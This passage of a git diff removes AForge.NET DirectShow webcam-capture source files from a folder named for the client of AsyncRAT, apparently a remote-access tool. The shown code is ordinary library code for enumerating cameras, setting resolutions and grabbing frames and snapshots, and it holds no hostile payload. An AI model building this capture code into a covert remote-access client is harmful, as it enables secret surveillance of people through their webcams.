( ( (uint) vc.FrameSize.Width ) << 16 ); - - if ( !videocapsList.ContainsKey( key ) ) - { - videocapsList.Add( key, vc ); - } - else - { - if ( vc.BitCount > videocapsList[key].BitCount ) - { - videocapsList[key] = vc; - } - } - } - catch - { - } - } - - VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; - videocapsList.Values.CopyTo( videocaps, 0 ); - - return videocaps; - } - - // Retrieve capabilities of a video device - internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) - { - AMMediaType mediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - try - { - // retrieve capabilities struct at the specified index - int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( mediaType.FormatType == FormatType.VideoInfo ) - { - VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else if ( mediaType.FormatType == FormatType.VideoInfo2 ) - { - VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else - { - throw new ApplicationException( "Unsupported format found." ); - } - - // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 - // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail - // on such formats - if ( BitCount <= 12 ) - { - throw new ApplicationException( "Unsupported format found." ); - } - } - finally - { - if ( mediaType != null ) - mediaType.Dispose( ); - } - } - - /// - /// Check if the video capability equals to the specified object. - /// - /// - /// Object to compare with. - /// - /// Returns true if both are equal are equal or false otherwise. - /// - public override bool Equals( object obj ) - { - return Equals( obj as VideoCapabilities ); - } - - /// - /// Check if two video capabilities are equal. - /// - /// - /// Second video capability to compare with. - /// - /// Returns true if both video capabilities are equal or false otherwise. - /// - public bool Equals( VideoCapabilities vc2 ) - { - if ( (object) vc2 == null ) - { - return false; - } - - return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); - } - - /// - /// Get hash code of the object. - /// - /// - /// Returns hash code ot the object - public override int GetHashCode( ) - { - return FrameSize.GetHashCode( ) ^ BitCount; - } - - /// - /// Equality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are equal or false otherwise. - public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) - { - // if both are null, or both are same instance, return true. - if ( object.ReferenceEquals( a, b ) ) - { - return true; - } - - // if one is null, but not both, return false. - if ( ( (object) a == null ) || ( (object) b == null ) ) - { - return false; - } - - return a.Equals( b ); - } - - /// - /// Inequality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are not equal or false otherwise. - public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) - { - return !( a == b ); - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs deleted file mode 100644 index 8b76c5a..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs +++ /dev/null @@ -1,1698 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Video source for local video capture device (for example USB webcam). - /// - /// - /// This video source class captures video data from local video capture device, - /// like USB web camera (or internal), frame grabber, capture board - anything which - /// supports DirectShow interface. For devices which has a shutter button or - /// support external software triggering, the class also allows to do snapshots. Both - /// video size and snapshot size can be configured. - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // create video source - /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); - /// // set NewFrame event handler - /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// videoSource.Start( ); - /// // ... - /// // signal to stop when you no longer need capturing - /// videoSource.SignalToStop( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class VideoCaptureDevice : IVideoSource - { - // moniker string of video capture device - private string deviceMoniker; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - - // video and snapshot resolutions to set - private VideoCapabilities videoResolution = null; - private VideoCapabilities snapshotResolution = null; - - // provide snapshots or not - private bool provideSnapshots = false; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - private VideoCapabilities[] videoCapabilities; - private VideoCapabilities[] snapshotCapabilities; - - private bool needToSetVideoInput = false; - private bool needToSimulateTrigger = false; - private bool needToDisplayPropertyPage = false; - private bool needToDisplayCrossBarPropertyPage = false; - private IntPtr parentWindowForPropertyPage = IntPtr.Zero; - - // video capture source object - private object sourceObject = null; - - // time of starting the DirectX graph - private DateTime startTime = new DateTime( ); - - // dummy object to lock for synchronization - private object sync = new object( ); - - // flag specifying if IAMCrossbar interface is supported by the running graph/source object - private bool? isCrossbarAvailable = null; - - private VideoInput[] crossbarVideoInputs = null; - private VideoInput crossbarVideoInput = VideoInput.Default; - - // cache for video/snapshot capabilities and video inputs - private static Dictionary cacheVideoCapabilities = new Dictionary( ); - private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); - private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); - - /// - /// Current video input of capture card. - /// - /// - /// The property specifies video input to use for video devices like capture cards - /// (those which provide crossbar configuration). List of available video inputs can be obtained - /// from property. - /// - /// To check if the video device supports crossbar configuration, the - /// method can be used. - /// - /// This property can be set as before running video device, as while running it. - /// - /// By default this property is set to , which means video input - /// will not be set when running video device, but currently configured will be used. After video device - /// is started this property will be updated anyway to tell current video input. - /// - /// - public VideoInput CrossbarVideoInput - { - get { return crossbarVideoInput; } - set - { - needToSetVideoInput = true; - crossbarVideoInput = value; - } - } - - /// - /// Available inputs of the video capture card. - /// - /// - /// The property provides list of video inputs for devices like video capture cards. - /// Such devices usually provide several video inputs, which can be selected using crossbar. - /// If video device represented by the object of this class supports crossbar, then this property - /// will list all video inputs. However if it is a regular USB camera, for example, which does not - /// provide crossbar configuration, the property will provide zero length array. - /// - /// Video input to be used can be selected using . See also - /// method, which provides crossbar configuration dialog. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoInput[] AvailableCrossbarVideoInputs - { - get - { - if ( crossbarVideoInputs == null ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) - { - crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; - } - } - - if ( crossbarVideoInputs == null ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even if capabilities are not provided for some reason - return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; - } - } - - /// - /// Specifies if snapshots should be provided or not. - /// - /// - /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it - /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will - /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property - /// is set to , then snapshots will be provided through - /// event. - /// - /// Check supported sizes of snapshots using property and set the - /// desired size using property. - /// - /// The property must be set before running the video source to take effect. - /// - /// Default value of the property is set to . - /// - /// - public bool ProvideSnapshots - { - get { return provideSnapshots; } - set { provideSnapshots = value; } - } - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Snapshot frame event. - /// - /// - /// Notifies clients about new available snapshot frame - the one which comes when - /// camera's snapshot/shutter button is pressed. - /// - /// See documentation to for additional information. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - /// - /// - public event NewFrameEventHandler SnapshotFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// Video source is represented by moniker string of video capture device. - /// - public virtual string Source - { - get { return deviceMoniker; } - set - { - deviceMoniker = value; - - videoCapabilities = null; - snapshotCapabilities = null; - crossbarVideoInputs = null; - isCrossbarAvailable = null; - } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredFrameSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredSnapshotSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use. - /// - /// - /// The property is obsolete. Setting this property does not have any effect. - /// - [Obsolete] - public int DesiredFrameRate - { - get { return 0; } - set { } - } - - /// - /// Video resolution to set. - /// - /// - /// The property allows to set one of the video resolutions supported by the camera. - /// Use property to get the list of supported video resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default video - /// resolution is used. - /// - /// - public VideoCapabilities VideoResolution - { - get { return videoResolution; } - set { videoResolution = value; } - } - - /// - /// Snapshot resolution to set. - /// - /// - /// The property allows to set one of the snapshot resolutions supported by the camera. - /// Use property to get the list of supported snapshot resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default snapshot - /// resolution is used. - /// - /// - public VideoCapabilities SnapshotResolution - { - get { return snapshotResolution; } - set { snapshotResolution = value; } - } - - /// - /// Video capabilities of the device. - /// - /// - /// The property provides list of device's video capabilities. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoCapabilities[] VideoCapabilities - { - get - { - if ( videoCapabilities == null ) - { - lock ( cacheVideoCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - videoCapabilities = cacheVideoCapabilities[deviceMoniker]; - } - } - - if ( videoCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Snapshot capabilities of the device. - /// - /// - /// The property provides list of device's snapshot capabilities. - /// - /// If the array has zero length, then it means that this device does not support making - /// snapshots. - /// - /// See documentation to for additional information. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - /// - /// - public VideoCapabilities[] SnapshotCapabilities - { - get - { - if ( snapshotCapabilities == null ) - { - lock ( cacheSnapshotCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; - } - } - - if ( snapshotCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Source COM object of camera capture device. - /// - /// - /// The source COM object of camera capture device is exposed for the - /// case when user may need get direct access to the object for making some custom - /// configuration of camera through DirectShow interface, for example. - /// - /// - /// If camera is not running, the property is set to . - /// - /// - public object SourceObject - { - get { return sourceObject; } - } - - /// - /// Initializes a new instance of the class. - /// - /// - public VideoCaptureDevice( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Moniker string of video capture device. - /// - public VideoCaptureDevice( string deviceMoniker ) - { - this.deviceMoniker = deviceMoniker; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( string.IsNullOrEmpty( deviceMoniker ) ) - throw new ArgumentException( "Video source is not specified." ); - - framesReceived = 0; - bytesReceived = 0; - isCrossbarAvailable = null; - needToSetVideoInput = true; - - // create events - stopEvent = new ManualResetEvent( false ); - - lock ( sync ) - { - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = deviceMoniker; // mainly for debugging - thread.Start( ); - } - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - /// - /// Display property window for the video capture device providing its configuration - /// capabilities. - /// - /// - /// Handle of parent window. - /// - /// If you pass parent window's handle to this method, then the - /// displayed property page will become modal window and none of the controls from the - /// parent window will be accessible. In order to make it modeless it is required - /// to pass as parent window's handle. - /// - /// - /// - /// The video source does not support configuration property page. - /// - public void DisplayPropertyPage( IntPtr parentWindow ) - { - // check source - if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) - throw new ArgumentException( "Video source is not specified." ); - - lock ( sync ) - { - if ( IsRunning ) - { - // pass the request to backgroud thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayPropertyPage = true; - return; - } - - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is ISpecifyPropertyPages ) ) - { - throw new NotSupportedException( "The video source does not support configuration property page." ); - } - - DisplayPropertyPage( parentWindow, tempSourceObject ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - } - - /// - /// Display property page of video crossbar (Analog Video Crossbar filter). - /// - /// - /// Handle of parent window. - /// - /// The Analog Video Crossbar filter is modeled after a general switching matrix, - /// with n inputs and m outputs. For example, a video card might have two external connectors: - /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on - /// the filter. The displayed property page allows to configure the crossbar by selecting input - /// of a video card to use. - /// - /// This method can be invoked only when video source is running ( is - /// ). Otherwise it generates exception. - /// - /// Use method to check if running video source provides - /// crossbar configuration. - /// - /// - /// The video source must be running in order to display crossbar property page. - /// Crossbar configuration is not supported by currently running video source. - /// - public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) - { - lock ( sync ) - { - // wait max 5 seconds till the flag gets initialized - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) - { - Thread.Sleep( 10 ); - } - - if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) - { - throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); - } - - if ( !isCrossbarAvailable.Value ) - { - throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); - } - - // pass the request to background thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayCrossBarPropertyPage = true; - } - } - - /// - /// Check if running video source provides crossbar for configuration. - /// - /// - /// Returns if crossbar configuration is available or - /// otherwise. - /// - /// The method reports if the video source provides crossbar configuration - /// using . - /// - /// - public bool CheckIfCrossbarAvailable( ) - { - lock ( sync ) - { - if ( !isCrossbarAvailable.HasValue ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - - return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; - } - } - - - /// - /// Simulates an external trigger. - /// - /// - /// The method simulates external trigger for video cameras, which support - /// providing still image snapshots. The effect is equivalent as pressing camera's shutter - /// button - a snapshot will be provided through event. - /// - /// The property must be set to - /// to enable receiving snapshots. - /// - /// - public void SimulateTrigger( ) - { - needToSimulateTrigger = true; - } - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Set( property, value, controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives the value indicating whether the setting is controlled manually or automatically - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Get( property, out value, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Worker thread. - /// - /// - private void WorkerThread( ) - { - WorkerThread( true ); - } - - private void WorkerThread( bool runGraph ) - { - ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; - bool isSapshotSupported = false; - - // grabber - Grabber videoGrabber = new Grabber( this, false ); - Grabber snapshotGrabber = new Grabber( this, true ); - - // objects - object captureGraphObject = null; - object graphObject = null; - object videoGrabberObject = null; - object snapshotGrabberObject = null; - object crossbarObject = null; - - // interfaces - ICaptureGraphBuilder2 captureGraph = null; - IFilterGraph2 graph = null; - IBaseFilter sourceBase = null; - IBaseFilter videoGrabberBase = null; - IBaseFilter snapshotGrabberBase = null; - ISampleGrabber videoSampleGrabber = null; - ISampleGrabber snapshotSampleGrabber = null; - IMediaControl mediaControl = null; - IAMVideoControl videoControl = null; - IMediaEventEx mediaEvent = null; - IPin pinStillImage = null; - IAMCrossbar crossbar = null; - - try - { - // get type of capture graph builder - Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); - if ( type == null ) - throw new ApplicationException( "Failed creating capture graph builder" ); - - // create capture graph builder - captureGraphObject = Activator.CreateInstance( type ); - captureGraph = (ICaptureGraphBuilder2) captureGraphObject; - - // get type of filter graph - type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); - if ( type == null ) - throw new ApplicationException( "Failed creating filter graph" ); - - // create filter graph - graphObject = Activator.CreateInstance( type ); - graph = (IFilterGraph2) graphObject; - - // set filter graph to the capture graph builder - captureGraph.SetFiltergraph( (IGraphBuilder) graph ); - - // create source device's object - sourceObject = FilterInfo.CreateFilter( deviceMoniker ); - if ( sourceObject == null ) - throw new ApplicationException( "Failed creating device object for moniker" ); - - // get base filter interface of source device - sourceBase = (IBaseFilter) sourceObject; - - // get video control interface of the device - try - { - videoControl = (IAMVideoControl) sourceObject; - } - catch - { - // some camera drivers may not support IAMVideoControl interface - } - - // get type of sample grabber - type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); - if ( type == null ) - throw new ApplicationException( "Failed creating sample grabber" ); - - // create sample grabber used for video capture - videoGrabberObject = Activator.CreateInstance( type ); - videoSampleGrabber = (ISampleGrabber) videoGrabberObject; - videoGrabberBase = (IBaseFilter) videoGrabberObject; - // create sample grabber used for snapshot capture - snapshotGrabberObject = Activator.CreateInstance( type ); - snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; - snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; - - // add source and grabber filters to graph - graph.AddFilter( sourceBase, "source" ); - graph.AddFilter( videoGrabberBase, "grabber_video" ); - graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); - - // set media type - AMMediaType mediaType = new AMMediaType( ); - mediaType.MajorType = MediaType.Video; - mediaType.SubType = MediaSubType.RGB24; - - videoSampleGrabber.SetMediaType( mediaType ); - snapshotSampleGrabber.SetMediaType( mediaType ); - - // get crossbar object to to allows configuring pins of capture card - captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); - if ( crossbarObject != null ) - { - crossbar = (IAMCrossbar) crossbarObject; - } - isCrossbarAvailable = ( crossbar != null ); - crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); - - if ( videoControl != null ) - { - // find Still Image output pin of the vedio device - captureGraph.FindPin( sourceObject, PinDirection.Output, - PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); - // check if it support trigger mode - if ( pinStillImage != null ) - { - VideoControlFlags caps; - videoControl.GetCaps( pinStillImage, out caps ); - isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); - } - } - - // configure video sample grabber - videoSampleGrabber.SetBufferSamples( false ); - videoSampleGrabber.SetOneShot( false ); - videoSampleGrabber.SetCallback( videoGrabber, 1 ); - - // configure snapshot sample grabber - snapshotSampleGrabber.SetBufferSamples( true ); - snapshotSampleGrabber.SetOneShot( false ); - snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); - - // configure pins - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.Capture, videoResolution, ref videoCapabilities ); - if ( isSapshotSupported ) - { - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); - } - else - { - snapshotCapabilities = new VideoCapabilities[0]; - } - - // put video/snapshot capabilities into cache - lock ( cacheVideoCapabilities ) - { - if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); - } - } - lock ( cacheSnapshotCapabilities ) - { - if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); - } - } - - if ( runGraph ) - { - // render capture pin - captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); - - if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - videoGrabber.Width = vih.BmiHeader.Width; - videoGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - // render snapshot pin - captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); - - if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - snapshotGrabber.Width = vih.BmiHeader.Width; - snapshotGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - } - - // get media control - mediaControl = (IMediaControl) graphObject; - - // get media events' interface - mediaEvent = (IMediaEventEx) graphObject; - IntPtr p1, p2; - DsEvCode code; - - // run - mediaControl.Run( ); - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - startTime = DateTime.Now; - videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); - } - - do - { - if ( mediaEvent != null ) - { - if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) - { - mediaEvent.FreeEventParams( code, p1, p2 ); - - if ( code == DsEvCode.DeviceLost ) - { - reasonToStop = ReasonToFinishPlaying.DeviceLost; - break; - } - } - } - - if ( needToSetVideoInput ) - { - needToSetVideoInput = false; - // set/check current input type of a video card (frame grabber) - if ( isCrossbarAvailable.Value ) - { - SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToSimulateTrigger ) - { - needToSimulateTrigger = false; - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); - } - } - - if ( needToDisplayPropertyPage ) - { - needToDisplayPropertyPage = false; - DisplayPropertyPage( parentWindowForPropertyPage, sourceObject 